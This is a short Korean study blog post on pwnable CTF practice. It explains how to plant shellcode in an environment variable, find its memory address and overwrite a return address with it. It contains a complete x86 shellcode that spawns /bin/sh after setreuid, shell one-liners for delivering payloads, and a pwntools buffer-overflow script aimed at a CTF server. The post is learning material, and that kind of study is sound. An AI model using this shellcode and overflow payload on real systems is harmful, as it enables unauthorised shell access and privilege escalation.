STUDY/Pwnable

환경변수 이용하는 법

da1seun9 2020. 1. 2. 16:29

환경변수에 등록된 데이터는 고정적인 메모리 주소를 가지고 있는다 따라서 shellcode를 환경변수에 등록하고 메모리 주소를 알아가지고 RET에 넣으면 원하는 결과를 얻을 수 있다. 

 

------------ pwntool 쓸때-------------

1.환경변수 등록

export [환경변수명]=$(python -c 'print"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"')

 

2. shellcode가 위치하는 메모리 주소를 나타내는 코드

#include<stdio.h>

int main()

{

printf("%p\n",getenv("[shellcode를 컴파일 한 파일이름]"));

return 0;

}

 

이 소스코드를 컴파일 함

 

3. 페이로드 실행

-인자를 받고 프로그램 실행시: ./[파일 이름] `python -c 'print"[내용]"'` -->EX) argv로 인자를 받을 때(argv가 있을 때)

-프로그램이 시작하고 인자를 받을때 : (python -c 'print"[내용]"';cat) | ./[파일 이름] -->EX) gets나 scanf받을 때

 

-------------pwntool 쓸 때--------------

 

Ex)

from pwn import *


p = remote("ctf.j0n9hyun.xyz",3001) 

payload = "A" * 128 + p32(0x0804849b) 

p.sendline(payload) 

p.interactive()